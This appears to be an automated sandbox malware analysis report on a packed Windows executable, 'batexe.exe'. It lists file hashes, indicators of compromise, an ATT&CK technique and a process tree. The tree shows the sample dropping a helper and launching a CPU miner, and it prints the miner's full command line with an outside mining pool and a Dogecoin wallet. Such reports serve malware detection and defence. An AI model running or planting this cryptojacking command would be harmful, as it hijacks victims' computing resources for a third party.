73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
293s
max time network
306s
platform
windows10-1703_x64
resource
win10-20231215-ja
resource tags

arch:x64arch:x86image:win10-20231215-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
12-02-2024 12:06

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
2696	b2e.exe
4760	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
4760	cpuminer-sse2.exe
4760	cpuminer-sse2.exe
4760	cpuminer-sse2.exe
4760	cpuminer-sse2.exe
4760	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/3988-4-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 3988 wrote to memory of 2696	3988	batexe.exe	73
PID 3988 wrote to memory of 2696	3988	batexe.exe	73
PID 3988 wrote to memory of 2696	3988	batexe.exe	73
PID 2696 wrote to memory of 2052	2696	b2e.exe	74
PID 2696 wrote to memory of 2052	2696	b2e.exe	74
PID 2696 wrote to memory of 2052	2696	b2e.exe	74
PID 2052 wrote to memory of 4760	2052	cmd.exe	77
PID 2052 wrote to memory of 4760	2052	cmd.exe	77

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3988
- C:\Users\Admin\AppData\Local\Temp\77E5.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\77E5.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\77E5.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2696
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\7C1C.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2052
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:4760

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\77E5.tmp\b2e.exe

Filesize
11.9MB

MD5
413f330a11cf45850bc33257bfd85fe8

SHA1
3f505fe4b2a23beef3138a5855a36a2c4415ba16

SHA256
3488e16f4858e4bf89e01259dc7b0fb71ee7a98db1c6fca5249676d99219293b

SHA512
bc0567f9f3b22cc5e05803e05fdba6feea2a326597f67a7526d37343df659ab11480181ed2558871385b020ad7da080b5f59054aeb527c701c8fb29c2f432792

Download Submit
C:\Users\Admin\AppData\Local\Temp\77E5.tmp\b2e.exe

Filesize
14.1MB

MD5
b6a824b01b09fd8b1c983df6bf4e977e

SHA1
ff777148e4c7b2b727760d992974c87b45b397a3

SHA256
cc7f49794559d81df69a5fc95bed6626fbfb814a2a9491b509259e1810705250

SHA512
caf582fd3f2bca86c0974fe9e7227b36b50178556c47ab03197ea33d61b1b8aceea97adcd97c46461e087a2db7a10550b0e71197da6c2172ee16b86d9c4f38e6

Download Submit
C:\Users\Admin\AppData\Local\Temp\7C1C.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.2MB

MD5
95aa2d828d34d86f93c1b9d19a7cf0ad

SHA1
1c6654cb778f60be8ef7d4586b54f2b8df7600b3

SHA256
8783f412bb5b47ffa40a1800b0f0dc9b30064013abe3f628ce0719af2430dc0a

SHA512
7c5f8f2e6334b254f766c07576e77322f40b5fdf5068aae0abc167c7be6660d78bc8a093c4cf5499292686ef93a71d1f73bf267ded96b24ed9ecc353c7f4738b

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
64KB

MD5
e7317a0a343dc63f3fa3bf9ca6e93ff0

SHA1
0d48881feb76cf81fc46614bebfa3c134cada128

SHA256
277a43f17ccc4f0fba87c710212de61a41383bcb94410fa093b50ebd50347a63

SHA512
84ef51472db00cd4e90df3062a3cbc29a994c5cf470e54300d4a2f103ba8fb8279ec87b0561625ea1bccd80a7ad664c63457831b4eb919a7608099430b98a3d9

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
2.4MB

MD5
b07ccc31ece2cc5fef71319ce1732eb8

SHA1
9a2d68cad177473a3175870fc358cdb4f6595afb

SHA256
7bbe299f78dc1a8a04dea9d6607fa8e6255bed4e7574f189942ea9d5d402ba30

SHA512
510680e9b34b48c14ee32939d20f47c62b2f24238e66c944930d0b9076bd14142b72727f9514970e31a48035eef80ccd80de6410564e7183e8de11b5399cc13c

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
2.3MB

MD5
cfd3db92d575b702712cae430b624ae5

SHA1
e7efef3fb6fbbf2e0b6bc1deea72b12f79ad502e

SHA256
29a7b79d630e4cae86ce5c9eeaa9d051db456e720c431634328d2821162bd0d7

SHA512
f57e85535c664d17ca75867cc42fc825b667d636be60adcd8300a0e91887444a6bae955ed08ae765a2eac7ea2250fe9ebc0d0963c4490a88fb9f8f56c3494dbd

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
7.6MB

MD5
94a47c02274405af9f803d227d16121c

SHA1
828cd353c9d5cf6667661d17f6efb7a5d80cdd0d

SHA256
cf69dd4fe0119bf36834aa06806e06b0e0fb37bf2df0e130d34f740d702fea79

SHA512
a252883173cd5f806dd292744d9bf6469a564689fcd89c519afce045b2f3842211cc0639f81f008e2155a1a0944f188996cc77a686a034e2f976a9f8d37edaa1

Download Submit
memory/2696-55-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/2696-5-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/3988-4-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/4760-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4760-41-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/4760-43-0x0000000050210000-0x00000000502A8000-memory.dmp

Filesize
608KB

Download
memory/4760-44-0x0000000001090000-0x0000000002945000-memory.dmp

Filesize
24.7MB

Download
memory/4760-45-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4760-42-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/4760-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4760-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4760-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4760-76-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4760-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4760-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4760-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4760-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download